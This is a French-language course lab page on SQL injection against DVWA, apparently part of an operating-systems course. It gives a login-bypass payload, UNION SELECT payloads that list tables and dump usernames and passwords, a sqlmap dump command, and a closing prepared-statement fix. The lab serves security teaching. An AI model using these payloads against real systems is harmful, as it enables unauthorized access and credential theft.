Aller au contenu principal

Lab 6.2: SQL Injection - Exploitation Complète

Objectifs d'Apprentissage​

À la fin de ce laboratoire, vous serez capable de:

  • Comprendre comment fonctionne SQL injection
  • Bypasser une authentification via injection SQL
  • Extraire des données d'une base de données
  • Utiliser SQLMap pour automatisation
  • Protéger vos applications contre SQL injection

Durée Estimée​

40 minutes

Application de Test​

Utilisez DVWA (Damn Vulnerable Web Application) ou application fournie.

Technique de Base​

Bypass authentification classique:

Username: admin' OR '1'='1' --
Password: (n'importe quoi)

Requête générée:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' -- AND password = '...'

Résultat: Condition toujours vraie, login réussi!

Extraction de Données​

Lister les tables:

' UNION SELECT GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema=DATABASE() --

Extraire données:

' UNION SELECT username, password FROM users --

SQLMap Automatisé​

sqlmap -u "http://localhost/login.php" --data="username=admin&password=pass" --dump

Extraction automatique complète!

Protection​

Code sécurisé avec prepared statements:

$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();

Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 6